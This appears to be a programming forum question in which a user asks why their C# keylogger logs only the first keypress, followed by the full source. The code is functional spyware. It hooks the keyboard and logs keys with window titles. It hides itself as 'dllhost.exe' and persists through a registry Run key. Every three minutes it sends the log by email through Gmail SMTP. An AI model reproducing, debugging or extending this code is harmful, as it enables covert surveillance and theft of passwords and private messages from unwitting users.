Keylogger not write correctly in txt file

Question

Hi,

I'm testing a keylogger and now have trouble when go write active window title and the key pressed directly to txt file. When I start the program and press some key, only first key pressed is logged. I can't see the error.

here is full source code:
Before add dependence System.Windows.Forms.

=================================================================

using Microsoft.Win32;

using System;

using System.Collections.Generic;

using System.Diagnostics;

using System.IO;

using System.Linq;

using System.Net;

using System.Net.Mail;

using System.Reflection;

using System.Runtime.InteropServices;

using System.Security.Permissions;

using System.Text;

using System.Threading.Tasks;

using System.Windows.Forms;

using System.Timers;

using System.Threading;

namespace dllhost

{

    class Program

    {

        private static string startupPath;

        private static HandleRef NullHandleRef = new HandleRef();

        private static string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)+"\\data.txt";

        private static string dest = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) +"\\dllhost.exe";

        private static string active = null;

        private const int WH_KEYBOARD_LL = 13;

        private const int WM_KEYDOWN = 0x0100;

        private static KeyboardProc _proc = HookCallback;

        private static IntPtr _hookID = IntPtr.Zero;

        private delegate IntPtr KeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

        [DllImport("user32.dll")]

        static extern IntPtr GetForegroundWindow();

        [DllImport("user32.dll")]

        static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

        private static extern IntPtr SetWindowsHookEx(int idHook, KeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

        [return: MarshalAs(UnmanagedType.Bool)]

        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]

        private static extern IntPtr GetModuleHandle(string lpModuleName);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto)]

        private static extern int GetModuleFileName(HandleRef hModule, StringBuilder buffer, int length);

        static void Main()

        {

            Hook();

            if (File.Exists(dest)==false)

            {

                File.Copy(StartupPath(), dest, true);

                File.SetAttributes(dest, FileAttributes.Hidden);

                AddToReg();

            }

            System.Timers.Timer myTimer = new System.Timers.Timer();

            myTimer.Elapsed += new ElapsedEventHandler(Program.sendEMailThroughGmail);

            myTimer.Interval = 180000;

            myTimer.Enabled = true;

            myTimer.AutoReset = true;

            myTimer.Start();

            Application.Run();

            GC.KeepAlive(myTimer);

            UnHook();

        }

        private static string getTitle()

        {

            IntPtr handle = GetForegroundWindow();

            StringBuilder sb = new StringBuilder(1000);

            GetWindowText(handle, sb, 1000);

            string winText = sb.ToString();

            return winText;

        }

        public static void sendEMailThroughGmail(Object source, ElapsedEventArgs e)

        {

            try

            {

                MailMessage mM = new MailMessage();

                mM.From = new MailAddress("[email protected]");

                mM.To.Add("[email protected]");

                mM.Subject = Environment.UserName + " / " + Environment.MachineName;

                mM.Attachments.Add(new Attachment(path));

                mM.Body = "Nothing";

                mM.IsBodyHtml = true;

                SmtpClient sC = new SmtpClient("smtp.gmail.com");

                sC.Port = 587;

                sC.Credentials = new NetworkCredential("[email protected]", "senderpass");

                sC.EnableSsl = true;

                sC.Send(mM);

            }

            catch (Exception)

            {

            }

            File.Delete(path);

        }

        private static void AddToReg()

        {

            RegistryKey rk = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);

            rk.SetValue("dllhost", path);

        }

        public static string StartupPath()

        {

            if (startupPath == null)

            {

                StringBuilder buffer = new StringBuilder(260);

                GetModuleFileName(NullHandleRef, buffer, buffer.Capacity);

                startupPath = Path.GetDirectoryName(buffer.ToString());

            }

            new FileIOPermission(FileIOPermissionAccess.PathDiscovery, startupPath).Demand();

            return startupPath + "\\" + Assembly.GetExecutingAssembly().ManifestModule.Name; ;

        }

        public static void Hook()

        {

            using (Process curProcess = Process.GetCurrentProcess())

            using (ProcessModule curModule = curProcess.MainModule)

            {

                _hookID = SetWindowsHookEx(WH_KEYBOARD_LL, _proc, GetModuleHandle(curModule.ModuleName), 0);

            }

        }

        private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)

        {

                    int KeyCode = Marshal.ReadInt32(lParam);

                    StreamWriter sw;

                    sw = new StreamWriter(path, true);

                    sw.AutoFlush = true;

            if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)

            {

                if (!string.IsNullOrEmpty(active) || active != getTitle())

                {

                    active = getTitle();

                    sw.WriteLine();

                    sw.WriteLine();

                    sw.WriteLine("Time: " + DateTime.Now.ToShortTimeString() + " Date: " + DateTime.Now.ToShortDateString() + " Window: " + active + " -   ");

                }

                sw.WriteLine((Keys)KeyCode);

             }

            return CallNextHookEx(_hookID, nCode, wParam, lParam);

            }

        public static void UnHook()

        {

            UnhookWindowsHookEx(_hookID);

        }    

    }

}

Thank in advance.